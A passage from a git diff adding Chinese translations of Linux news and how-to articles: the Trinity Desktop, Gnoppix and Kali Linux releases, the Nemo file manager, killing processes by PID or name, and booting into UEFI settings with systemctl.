桌面理念的延续,为那些欣赏其功能和设计的人提供了更新和错误修复。 + +尽管是一个小而独立的项目,TDE 仍然在积极地开发和维护,为用户提供了一个主流桌面环境的替代品。而继 [之前的 R14.0.12 版本][3] 之后,第 13 个小版本带来了一些好东西。 + +### Trinity 桌面环境 R14.0.13 的新内容 + +#### 桌面易用性得到了更新 + +这个版本引入了使用 `Ctrl + 鼠标滚轮` 来增加或减少字体大小的功能,这可以用在 Konsole、Kate、KWrite、TDevelop 和其他使用 Kate 嵌入编辑器的应用程序中。此外,Kate 文本编辑器现在包括 Markdown 文件的语法高亮,使其更容易阅读和编辑这些类型的文档。 + +这些增强功能使用户对文本编辑器的外观有更多的控制,并改善了整体的用户体验。 + +此外,Trinity 桌面环境 R14.0.13 还改进了用户设置墙纸的方式,使其更容易设置,也更直观。Konqueror 的动作菜单现在提供了设置图像作为背景的各种选项,为用户提供了更多的灵活性和控制力。这些改进提高了设置墙纸时的整体用户体验,使用户更加方便。 + +除此之外,这个版本还改进了 khotkeys 输入动作,为用户提供了更多的控制和灵活性。它的用于创建和编辑动作的图形用户界面现在包括新的上移/下移按钮,使其更容易重新排列动作。此外,该版本还包括对图形用户界面的修复,以提高其整体可用性和性能。这些改进提高了用户在使用 khotkeys 输入动作时的体验,使用户更方便地定制他们的键盘快捷键。这个版本还包括一个新的等待动作组件,允许用户在步骤之间引入一个延迟。 + +![twin-style-machbunt - 来自 SuSE 的 KDE 窗口装饰主题][4] + +#### 核心和支持 + +SFTP tdeioslave 已经更新,现在使用 libssh,它提供了更安全和稳定的连接。任务栏现在包括移动任务和拖放分组任务按钮,增强了用户体验。 + +这个版本包括了改进的 API 可视化和增强的 Python3 支持。整个版本使用的语言已经更新为性别中立。这些改进提高了整体的用户体验,使 TDE 更具包容性和可及性。 + +除此之外,在核心应用程序方面,TDE R14.0.13 版本包括了几个更新,以提高与流行的多媒体和文件处理库的兼容性。这包括对 ffmpeg 5.0、Jasper 3.x 和 Poppler >= 22.04 的支持。这些更新使 TDE 能够利用这些库的最新功能和性能改进。此外,这个版本包括了几个 TDE 应用程序的手册页,为用户提供了关于如何使用这些程序的更详细的文档和信息。这些改进提高了 TDE 的整体功能和性能。 + +### 下载并安装 Trinity 桌面环境 R14.0.13 + +如果你使用的是 Ubuntu 22.04 LTS Jammy Jellyfish,你可以运行下面的命令将其安装在你现有的 Ubuntu 上: + +``` +sudo gedit /etc/apt/sources.list +``` + +添加以下行并保存文件: + +``` +deb http://mirror.ppa.trinitydesktop.org/trinity/deb/trinity-sb jammy deps-r14 main-r14 +deb-src http://mirror.ppa.trinitydesktop.org/trinity/deb/trinity-sb jammy deps-r14 main-r14 +``` + +``` +wget http://mirror.ppa.trinitydesktop.org/trinity/deb/trinity-keyring.deb +sudo dpkg -i trinity-keyring.deb +sudo apt update +sudo apt install kubuntu-default-settings-trinity kubuntu-desktop-trinity +``` + +安装完成后,重新启动你的系统,在登录界面选择 Trinity。注意:截至发稿时,针对 Ubuntu 22.10 Kinetic Kudu 的仓库还不可用。 + +对于 Arch Linux 用户,你可以通过以下命令安装它。 + +使用管理员权限打开 `/etc/pacman.conf`,在最后添加以下几行并保存好: + +``` +[trinity] +Server = https://mirror.ppa.trinitydesktop.org/trinity/archlinux/$arch +``` + +然后打开一个终端,运行以下内容: + +``` +pacman-key --recv-key D6D6FAA25E9A3E4ECD9FBDBEC93AF1698685AD8B +pacman-key --lsign-key D6D6FAA25E9A3E4ECD9FBDBEC93AF1698685AD8B +``` + +最后,用下面的方法来安装: + +``` +pacman -Sy +``` + +``` +pacman -S td-meta +``` + +对于其他发行版,你可以在 [本页][5] 找到 TDE 的详细下载和安装指南。 + +来自 [发布公告][6]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/trinity-desktop-environment-r14-0-13/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/tde-head.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2022/12/Trinity-Desktop-Environment-R14.0.13.jpg +[3]: https://www.debugpoint.com/tde-release-r14-0-12/ +[4]: https://debugpointnews.com/wp-content/uploads/2022/12/twin-style-machbunt-a-KDE-window-decoration-theme-from-SuSE.jpg +[5]: https://wiki.trinitydesktop.org/Category:Documentation#Installing_from_a_Package_Manager +[6]: https://www.trinitydesktop.org/newsentry.php?entry=2022.10.30 diff --git a/published/202212/20221205.3 ⭐️⭐️ Why you should try the Nemo file manager on Linux.md b/published/202212/20221205.3 ⭐️⭐️ Why you should try the Nemo file manager on Linux.md new file mode 100644 index 0000000000..9dfda0adff --- /dev/null +++ b/published/202212/20221205.3 ⭐️⭐️ Why you should try the Nemo file manager on Linux.md @@ -0,0 +1,87 @@ +[#]: subject: "Why you should try the Nemo file manager on Linux" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-nemo" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15340-1.html" + +为什么你要在 Linux 上尝试 Nemo 文件管理器? +====== + +![][0] + +> Nemo 感觉像是更新版的 GNOME 2 文件管理器。我喜欢它,我觉得你也会喜欢它。 + +计算机是一个奇特的文件柜,里面装满了虚拟文件夹和文件,等待着被引用、交叉引用、编辑、更新、保存、复制、移动、重命名和归类。在本文中,我将介绍一下 Linux 系统的文件管理器。 + +[Cinnamon][1] 项目是使用 GNOME 3 的组件重新实现的 GNOME 2。最终,它的差异足以成为一个真正的分叉,如今,Cinnamon 桌面使用 GTK3 库和 GNOME 3 关键应用的分叉版本来创建一个“经典”的 GNOME 体验。对传统的 GNOME 体验做出贡献的组件之一是 Nemo,它是一个基于 GNOME 2 版本的 Nautilus 的文件管理器。 + +### 在 Linux 上安装 Nemo + +Nemo 的源代码 [在线提供][2],但它需要 `cinnamon-desktop` 来构建,所以安装 Nemo 最简单的方法是直接安装 Cinnamon。 + +在 Fedora、Mageia 和类似的系统上: + +``` +$ sudo dnf install cinnamon-desktop +``` + +在 Linux Mint、Debian 和类似系统上: + +``` +$ sudo apt install cinnamon-desktop-environment +``` + +当然,作为该桌面的发源地,Linux Mint 也预装了 Cinnamon。 + +### 一个熟悉的界面 + +如果你已经习惯了 GNOME,无论是过去的还是现在的,那么 Nemo 从一开始就让你有一种回家的感觉。它有一个熟悉的外观和感觉,在类似的地方有按钮和选项,你很可能会认出它们。 + +![Image of Nemo's file manager.][3] + +将视图控制按钮放在右上方的 GNOME 式惯例被保留了下来,你可以使用这些按钮快速地将你的文件视图从大图标切换到详细列表或紧凑视图。那里还有一个搜索功能,以及在可编辑文本和按钮之间切换位置栏的选项。 + +可编辑的 URI 栏有时被低估了。这是一个简单的设计决定,但它可以是一个有助于提高效率的巨大功能。这就像在每个窗口的顶部有一个单行终端,你可以在那里输入你的系统的任何目标位置,并立即被带到那里。而且你甚至不需要输入 `cd`。 + +在左上角,有导航按钮:向上、向前和向后。与许多 Linux 文件管理器一样,你可以用 `Alt` 键加上适当的 `箭头` 键,而放弃使用这些按钮。 + +侧面窗格显示了重要文件夹的列表(主目录、文档、下载等),可以通过点击窗口底部的一个按钮来隐藏或显示。 + +### 熟悉但不一样 + +Nemo 的舒适性和熟悉性并不意味着它只是无意识地模仿 Nautilus。Nemo 有一系列不错的功能,感觉很独特。其中大部分都在 偏好设置Preferences 中,以下是我最喜欢的几个: + +- 窗口标题中显示全路径Full path in window title:这是我最喜欢的功能。不要再怀疑你在文件系统中的位置了。让你的窗口标题告诉你。 +- 单击或双击Single or double click:如果你是一个长期的 [KDE][4] 用户,你可能会发现单次点击打开一个文件是很新鲜的。有了 Nemo,你可以这样选择。 +- 双击来重命名Double-click to rename:如果你使用单击来打开,为什么不重新利用双击来重命名呢? +- 在新窗口中打开每个文件夹Open each folder in a new window:操作系统为每一个打开的文件夹打开一个新的窗口。 +- 插件Plugins:Nemo 有能力调用动作、脚本和扩展。有些已经包括在内,有改变桌面背景、创建启动器和挂载归档的动作。其他的还没有被创建,但这种可扩展性对开源是至关重要的。 + +### 一切近在咫尺 + +在 Linux Mint 上使用 Nemo 几周后,一个有趣的特征让我眼前一亮。似乎 Nemo 可以,或者通过快速配置可以,让我最常使用的所有东西都近在咫尺。许多功能,我承认,我不知道我是否需要,直到 Nemo 让我轻松点击才知道。你可能会说,我是为了满足 Nemo 的设计而改变了我的使用方式,也许情况确实如此。但是,当这种体验是如此令人愉快和有效时,这有什么关系呢? + +Nemo 是一个很好的文件管理器。它让人想起了 GNOME 2 的时代,但其更新和设计选择让人有一种新鲜的感觉。如果你喜欢 [Thunar][5] 或 Nautilus,你会喜欢 Nemo。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-nemo + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/12/cinnamon-linux-desktop +[2]: https://github.com/linuxmint/nemo/releases +[3]: https://opensource.com/sites/default/files/2022-09/nemo.png +[4]: https://opensource.com/article/22/2/why-i-love-linux-kde +[5]: https://opensource.com/article/22/12/linux-file-manager-thunar +[0]: https://img.linux.net.cn/data/attachment/album/202212/12/080234oessb2lsx0s8esri.jpg \ No newline at end of file diff --git a/published/202212/20221206.1 ⭐️ Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More.md b/published/202212/20221206.1 ⭐️ Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More.md new file mode 100644 index 0000000000..b64c75b7c0 --- /dev/null +++ b/published/202212/20221206.1 ⭐️ Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More.md @@ -0,0 +1,81 @@ +[#]: subject: "Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More" +[#]: via: "https://debugpointnews.com/gnoppix-22-12-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15325-1.html" + +Gnoppix Linux 22.12 发布 +====== + +![][1] + +> 基于 Kali Linux 的 Linux 滚动发行版 Gnoppix 22.12 带来了 GNOME 43、Linux 内核 6.0 和新的升级。 + +![Gnoppix 22.12桌面][2] + +作为传统的现场 CD 发行版 Knoppix 项目的继承者,[Gnoppix Linux][3] 是专门为渗透测试和反向工程而设计的。它为网页应用安全和数字权利保护进行了优化。除了对安全的关注,Gnoppix 也可以作为一个普通的桌面操作系统使用。它是一个滚动的版本,经常收到更新和新功能。 + +在其核心部分,它基于 Kali Linux,并采用了 Debian-rolling 的某些部分。与 Kali Linux 的 Xfce 相比,它采用的是 GNOME 桌面。 + +### Gnoppix Linux 22.12 的最新变化 + +目前的主要版本是 Gnoppix 22,它是一个持续的小版本发布,最近其团队发布了 Gnoppix 22.12,有以下更新。 + +首先,内核版本被提升到了 Linux 内核 6.0 ,采用了最新的 [GNOME 43.2 桌面][4]。如果你想把这个发行版作为桌面使用,那么默认的应用程序列表会给你带来一些好消息。 + +Gnoppix 22.12 增加了 GIMP 图像编辑器、Deluge & Transmission、Clapper 音乐播放器和 GNOME 固件更新器。 + +此外,所有的 GNOME 原生软件包都被升级到了 43.2 版本,同时团队开始着手开发 44 版本,该版本将于 2023 年 2 月发布。 + +![GNOME 43.2 工作区视图][5] + +其他关键组件和应用程序包括以下内容: + +- LibreOffice 7.4.2.3 +- Linux 主线内核 6.0.7 +- OpenJDK 11 +- pipewire 0.3.60 +- Firefox ESR 102 +- Python 3.10 + +Gnoppix Linux 还默认增加了几个微软的应用程序。在这个版本中,你可以得到微软 Edge 浏览器 107 和用于会议和通信的微软 Teams 预览版。 + +在完整的变更日志中有一个巨大的软件包更新列表,你可以在 [这里][6] 中找到。 + +### 下载 + +如果你想尝试一下,你可以使用以下链接下载它。 + +> **[下载 Gnoppix 22.12][7]** + +请记住,它是在现场介质中使用的理想选择。然而,你可以很容易地在你的硬件上安装它,并作为 Debian-GNOME-rolling 版本运行。另外,请注意,它需要至少 50GB 的磁盘空间来安装!这是其 Calamares 安装程序的一个硬性要求。 + +此外,Kali Linux 的软件仓库已经被添加到 `/etc/apt/sources.list` 中,来自 Debian-rolling 的软件包基本稳定,所以,它应该是很稳定的。 + +干杯。 + +参考自 [发布公告][6]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/gnoppix-22-12-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/gnoppix-head1.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2022/12/Gnoppix-22.12-desktop.jpg +[3]: https://www.gnoppix.com/ +[4]: https://debugpointnews.com/gnome-43-release/ +[5]: https://debugpointnews.com/wp-content/uploads/2022/12/GNOME-43.2-workspace-view.jpg +[6]: https://sourceforge.net/p/gnoppixng/releases/general/thread/bc187de53a/#f258 +[7]: https://sourceforge.net/projects/gnoppixng/files/releases/ diff --git a/published/202212/20221207.0 ⭐️ How to Find a Process ID and Kill it in Linux [CLI & GUI].md b/published/202212/20221207.0 ⭐️ How to Find a Process ID and Kill it in Linux [CLI & GUI].md new file mode 100644 index 0000000000..411007a152 --- /dev/null +++ b/published/202212/20221207.0 ⭐️ How to Find a Process ID and Kill it in Linux [CLI & GUI].md @@ -0,0 +1,148 @@ +[#]: subject: "How to Find a Process ID and Kill it in Linux [CLI & GUI]" +[#]: via: "https://www.debugpoint.com/find-process-id-kill-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15341-1.html" + +如何在 Linux 中找到一个进程 ID 并杀死它 +====== + +![][0] + +> 一个简单的教学展示,教你如何找到正在运行中的进程 ID 并杀死它,你可以使用终端或者 GUI,这个方法适用于各类 Linux 发行版。 + +你的 Linux 系统中运行的应用可能会让你的电脑变慢,特别是你的电脑配置较低的时候。在 Linux (以及所有其他 OS)中,程序或者应用都携带一个特别的 PID (进程 ID)可供你简单地分辨它们。 + +然而,大部分 Linux 初学者用户并不知道如何在 Linux 中寻找运行中的进程并杀死它。在这篇指南中,我们将会解释用不同的方法以杀死 Linux 中的运行进程。这包括了使用终端和 GUI 的方法。 + +记住,你只应该杀死未响应的进程,或者你发现应用无法被正常关闭 (针对基于 GUI 的应用)。 + +### 如何在 Linux 中找到 PID 并杀掉它们 + +在这一部分中,我们首先应该先学会如何找到运行进程的 PID,然后再学习用以杀掉它们的命令: + +#### 找到正在运行中的进程 + +你可以使用命令 `top` 来列出所有正在进行中的进程和它们的 PID,以及其他细节。程序 `top` 在所有 Linux 发行版和所有基于 Unix 的系统中都是默认安装了的。 + +``` +top +``` + +![Top program output][1] + +同样地,你可以执行命令 `ps` 附带额外选项来获取某个指定的进程的 PID。例如,你可以使用以下命令来获得 `firefox` 的 PID。 + +``` +ps -el | grep -i firefox +``` + +![Firefox process id using ps command - example][2] + +现在你已经找到 PID 了,让我们看看你该如何杀掉它。 + +#### 杀死运行中的进程 + +使用以下命令,你可以通过进程的名字或者 PID 来杀掉这个正在运行中的进程: + +- `killall`:通过运行进程的名字来杀死进程 +- [kill][3]:通过 PID 来杀死进程 + +现在,让我们首先使用进程 `killall` 通过 Firefox 这个名字来杀死它的,命令如下: + +``` +killall -9 firefox +``` + +- 参数 `-9` 发送了信号 `SIGKILL` 通知 OS 来终止这个进程。 +- 使用以下命令,你也可以列出一些别的信号。 + +``` +kill -l +``` + +同样地,如果你想要通过 PID 来杀死进程,你可以用以下命令: + +``` +kill -9 +``` + +在这个例子中,命令会长这样: + +``` +kill -9 33665 +``` + +让我们看看在不同发行版中,你该如何使用图形用户界面(GUI)来杀死任意进程或应用。 + +### 通过 GUI 寻找 PID 并杀掉 + +现在有很多图形界面程序可以枚列进程。大部分 Linux 发行版的桌面环境中已经携带了它们。我们在这里列举出了一些。 + +#### GNOME(在 Ubuntu、Fedora 工作站等) & 在 Linux Mint 中 + +在应用菜单中搜索 “system monitor” 并打开它(LCTT 译注:中文桌面环境也可以搜 “system monitor”,我在 Ubuntu 里试过了)。在 “进程Processes” 标签页下找到你的进程,右击进程名字打开快捷菜单,选择选项 “杀死Kill”。 + +![Kill a process in Linux using gnome system monitor][4] + +#### KDE Plasma(Kubuntu、Fedora-KDE 或任何基于 Plasma 的发行版) + +在应用菜单中搜索并启动 “system monitor”。这会打开以下程序。在左边菜单栏点击“进程Processes” ,你因该能看见一列正在运行的程序。你可以右击列表里的进程或应用并选择“杀死Kill”来终止进程。 + +![System monitor in KDE Plasma][5] + +#### Xfce 桌面 + +Xfce 桌面可以完成这项任务的原生应用是 任务管理器Task Manager,你可以通过 “应用Application > 系统System > 任务管理器Task manager” 来找到它。右击进程名字然后选择“杀死Kill”来终止应用或进程。 + +![Xfce task manager to kill a process][6] + +#### 如何在其他桌面或发行版上杀死一个进程或程序 + +如果你找不到任何相似的程序,你可以选择使用终端的方法。或者,你可以使用以下命令来安装 gnome-system-monitor。 + +Ubuntu 以及相关发行版: + +``` +sudo apt install gnome-system-monitor +``` + +Fedora 以及其相关的发行版: + +``` +sudo dnf install gnome-system-monitor +``` + +还有 Arch Linux: + +``` +sudo pacman -S gnome-system-monitor +``` + +### 总结一下 + +这就是你该如何在 Linux 中找到一个运行中的进程的 PID 并杀死它。我们已经解释了不同的方法:你可以通过名字或者 PID 来杀死进程。我希望这对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/find-process-id-kill-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/12/Top-program-output.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/12/Firefox-process-id-using-ps-command-example.jpg +[3]: https://linux.die.net/man/1/kill +[4]: https://www.debugpoint.com/wp-content/uploads/2022/12/Kill-a-process-in-Linux-using-gnome-system-monitor.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/12/System-monitor-in-KDE-Plasma.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/12/Xfce-task-manager-to-kill-a-process.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/12/103939c8tv41t8391v6886.jpg \ No newline at end of file diff --git a/published/202212/20221207.2 ⭐️ How to Access UEFI Settings in Linux Systems.md b/published/202212/20221207.2 ⭐️ How to Access UEFI Settings in Linux Systems.md new file mode 100644 index 0000000000..e1dadbc783 --- /dev/null +++ b/published/202212/20221207.2 ⭐️ How to Access UEFI Settings in Linux Systems.md @@ -0,0 +1,125 @@ +[#]: subject: "How to Access UEFI Settings in Linux Systems" +[#]: via: "https://itsfoss.com/access-uefi-from-linux/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15361-1.html" + +如何在 Linux 系统中访问 UEFI 设置 +====== + +![][0] + +想要在固件级别检查启动顺序或电源设置? **你可以在系统启动时按 `F2`、`F10` 或 `Del` 按键访问 UEFI 设置**。 + +这种方法的问题是你可能不知道确切的键,并且必须警惕在正确的时间按下这些键。 + +![Mr. Bean][1a] + +如果你不想像上面 Gif 中的憨豆先生,你可以从 Linux 中的 [Grub 引导加载器][1] 页面访问 UEFI 设置。 + +![uefi firmware settings grub linux][2] + +当你打开 Linux 系统时,你会看到这个页面。Fedora 和 Ubuntu 等大多数 Linux 发行版都使用 Grub,它们允许你像这样从 Grub 页面访问 UEFI 设置。 + +如果你没有看到此页面,或你的发行版不使用 Grub 怎么办? 仍然有一些方法可以从 Linux 中访问 UEFI 设置。 + +在你了解如何操作之前,请 [确保你的系统使用的是 UEFI][3]。 + +另一件重要的事情。你的系统重启才能进入 UEFI 设置。你无法从操作系统中访问和修改固件设置。 + +### 从 Linux 启动到 UEFI 设置 + +此方法仅适用于具有 systemd 的 Linux 发行版。这意味着这种方法适用于任何基于 Ubuntu、Debian、Fedora 和任何主流的基于 Arch 的发行版,包括 Manjaro 和 EndeavourOS。 + +[确保你的 Linux 发行版使用 systemd][4] 仍然是一个好主意。使用给定的命令,如果它返回 systemd,你就可以开始了: + +``` +ps --no-headers -o comm 1 +``` + +![how to know if i am using systemd on linux?][5] + +当你发现你的发行版正在使用 systemd,你可以使用给定的命令启动到 UEFI 设置: + +``` +systemctl reboot --firmware-setup +``` + +让我首先分解使用的选项: + +- `reboot`:顾名思义,它将重启你的系统。 +- `--firmware-setup`: 当此选项与 `reboot` 一起使用时,它会指示系统固件启动进入固件设置界面。 + +就是这样! 一个命令,你将进入 UEFI 设置。我知道 Windows 允许 [从 Windows 中启动进入 UEFI 固件设置][6]。很高兴在 Linux 中看到类似的东西。 + +#### 创建桌面快捷方式以启动到 UEFI 设置(可选) + +如果你经常发现自己启动进入 UEFI 设置,并且不记得所有命令,你可以通过创建桌面快捷方式让你的生活更轻松。这将使你可以通过单击桌面图标启动到 UEFI。 + +不过,对于大多数 Linux 用户来说,这是不必要的,也不是必需的。只有当你觉得有必要时才去做。该方法需要 [在命令行中编辑文件][7]。 + +首先,使用给定的命令为 UEFI 设置创建桌面快捷方式文件: + +``` +sudo nano /usr/share/applications/uefi-reboot.desktop +``` + +并将以下内容粘贴到文件中: + +``` +[Desktop Entry] +Name=UEFI Firmware Setup (Reboot) +Comment=Access the motherboard configuration utility +Exec=systemctl reboot --firmware-setup +Icon=system-restart +Terminal=false +Type=Application +Categories=System;Settings; +``` + +![create a desktop shortcut to boot into uefi settings][8] + +完成后,[保存更改并退出 nano][9] 文本编辑器。 + +现在,你将在系统菜单中找到 UEFI 固件设置的快捷方式: + +![boot into uefi firmware from system menu][10] + +完成了!一种进入 UEFI 设置的巧妙方法。 + +### 总结 + +访问启动设置的经典方法对某些人来说可能有点不方便。Grub 页面可能不会显示旧版本的 UEFI 选项。 + +这就是 systemd 方法的亮点所在。当我的系统崩溃并且我的功能键没有响应时,我发现这种方法是救命稻草,这是启动到 UEFI 所必需的(我当时就是这么想的!)。 + +我希望你发现它同样有用。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/access-uefi-from-linux/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1a]: https://img.linux.net.cn/data/attachment/album/202212/19/092256nkeoyuou6h3ykud6.gif +[1]: https://itsfoss.com/what-is-grub/ +[2]: https://itsfoss.com/wp-content/uploads/2022/12/uefi-firmware-settings-grub-linux.webp +[3]: https://itsfoss.com/check-uefi-or-bios/ +[4]: https://linuxhandbook.com/check-if-systemd/ +[5]: https://itsfoss.com/wp-content/uploads/2022/12/how-to-know-if-i-am-using-systemd-on-linux.png +[6]: https://itsfoss.com/access-uefi-settings-windows-10/ +[7]: https://learnubuntu.com/edit-files-command-line/ +[8]: https://itsfoss.com/wp-content/uploads/2022/12/create-a-desktop-shortcut-to-boot-into-uefi-settings.png +[9]: https://linuxhandbook.com/nano-save-exit/ +[10]: https://itsfoss.com/wp-content/uploads/2022/12/boot-into-uefi-firmware-from-system-menu.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/19/092450oi0c0c7cp4ng2nem.jpg \ No newline at end of file diff --git a/published/202212/20221207.5 ⭐️ Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts.md b/published/202212/20221207.5 ⭐️ Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts.md new file mode 100644 index 0000000000..d3c3370180 --- /dev/null +++ b/published/202212/20221207.5 ⭐️ Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts.md @@ -0,0 +1,134 @@ +[#]: subject: "Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts" +[#]: via: "https://news.itsfoss.com/kali-linux-2022-4-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15330-1.html" + +Kali Linux 发布今年最后一个版本 +====== + +> Kali Linux 2022.4 现在已经可以下载了。从这里了解它的新内容。 + +![Kali Linux 今年的最后一次更新早早带来了很多圣诞礼物][1] + +Kali Linux 是一个开源的、基于 Debian 的发行版,专注于渗透测试和安全审计。 + +它由各种工具、配置和自动化脚本组成,以帮助你实现这一目标。 + +作为今年的最后一个版本,**Kali Linux 2022.4** 与其 [前一个版本][2] 相比有许多改进。 + +让我带你了解这个版本。 + +### 🆕 有什么新变化? + +![kali linux 22.04][3] + +Kali Linux 2022.4 以更新的形式早早带来了圣诞礼物;这里有一些快乐的东西!🎄 + +- Linux 内核 6.0 +- 返回微软 Azure 市场 +- 支持 Pine 64 的 PinePhone +- 新的桌面环境 +- QEMU 镜像 +- 新的工具 + +#### 支持 Pine 64 的 PinePhone + +![kali linux nethunter pro on pinephone pro][4] + +Kali Linux 现在已经正式支持 Pine 64 的 PinePhone 和 PinePhone Pro。 + +这种支持是以一种新的以移动为重点的发行版的形式出现的,名为 “Kali NetHunter Pro”。 + +他们把它标记为 Kali Linux 和 [NetHunter][5] 的一个新的起点;这个发行版已经为移动设备进行了优化,可以从 SD 卡上与主操作系统一起双启动。 + +此外,他们还暗示未来将发布 Kali NetHunter Pro 的替代版本。 + +这些版本将以 Plasma Mobile 为特色,同时提供了新的安装程序,可以将 Kali NetHunter Pro 安装到设备的内部闪存中。 + +#### 返回微软 Azure 市场 + +![kali linux 22.04 Azure Marketplace][6] + +在离开 Azure 市场很长时间后,Kali Linux 终于被 [添加回来][7] 了。 + +Kali Linux 背后的公司 [Offensive Security][8] 提到,借助 [kali-cloud build-scripts][9],现在发布过程已经自动化了。 + +用户现在将享受与他们的 [亚马逊 AWS 镜像][10] 相同的一致性水平。 + +#### 新的桌面环境 + +![kali linux 22.04 with gnome 43][11] + +通常情况下,Kali Linux 使用轻量级的 Xfce 桌面环境作为其默认的桌面环境。 + +但现在,它也支持最近的 KDE Plasma 和 GNOME。 + +**在 Plasma 方面:** Kali Linux 现在采用了 KDE Plasma 5.26;改善了整体的桌面体验,并引入了许多调整和改进。 + +**在 GNOME 方面:** 包括了 [GNOME 43][12] 的常规增强,他们也增加了一些自己的调整。 + +在 [adw-gtk3][13] 项目的基础上增加了一个新的基于 GTK3 的主题,并加入了一些 Kali 的调整。 + +然后,新的 GNOME 文本编辑器取代了 Gedit,并带有一个更新的 Kali 主题。 + +#### QEMU 镜像 + +他们还在预生成的镜像库中增加了一个新的 [QEMU 镜像][14],希望它能让人们更容易在 [Proxmox Virtual Environments][15]、[virt-manager][16] 或 [libvirt][17] 等自托管环境中部署 Kali Linux。 + +#### 🛠️ 其他变化/改进措施 + +除了上述变化,还有其他几个值得注意的变化: + +- 增强了对 Kali NetHunter 的蓝牙支持。 +- 增加了 Kali 对树莓派镜像烧录工具的支持。 +- USBArmory MKII 中的 u-boot 引导加载器已经更新到 2022.10。 +- 更新了各种 Kali 文档。 +- 新的工具,如 bloodhound.py、certipy、rizin-cutter 等等。 +- 重新打造了 Kali Linux 的社交媒体渠道。 + +你可以通过 [发布公告][18] 来了解更多技术细节。 + +### 📥 下载 Kali Linux 2022.4 + +Kali Linux 2022.4 已经在 [官方网站][19] 上提供了。 + +> **[Kali Linux 2022.4][19]** + +你可以选择适合你的要求的镜像并下载它。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kali-linux-2022-4-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/kali-linux-2022-04-release.jpg +[2]: https://news.itsfoss.com/kali-linux-2022-3-release/ +[3]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4.png +[4]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4_NetHunter_Pro.jpg +[5]: https://www.kali.org/docs/nethunter/ +[6]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4_Azure.jpg +[7]: 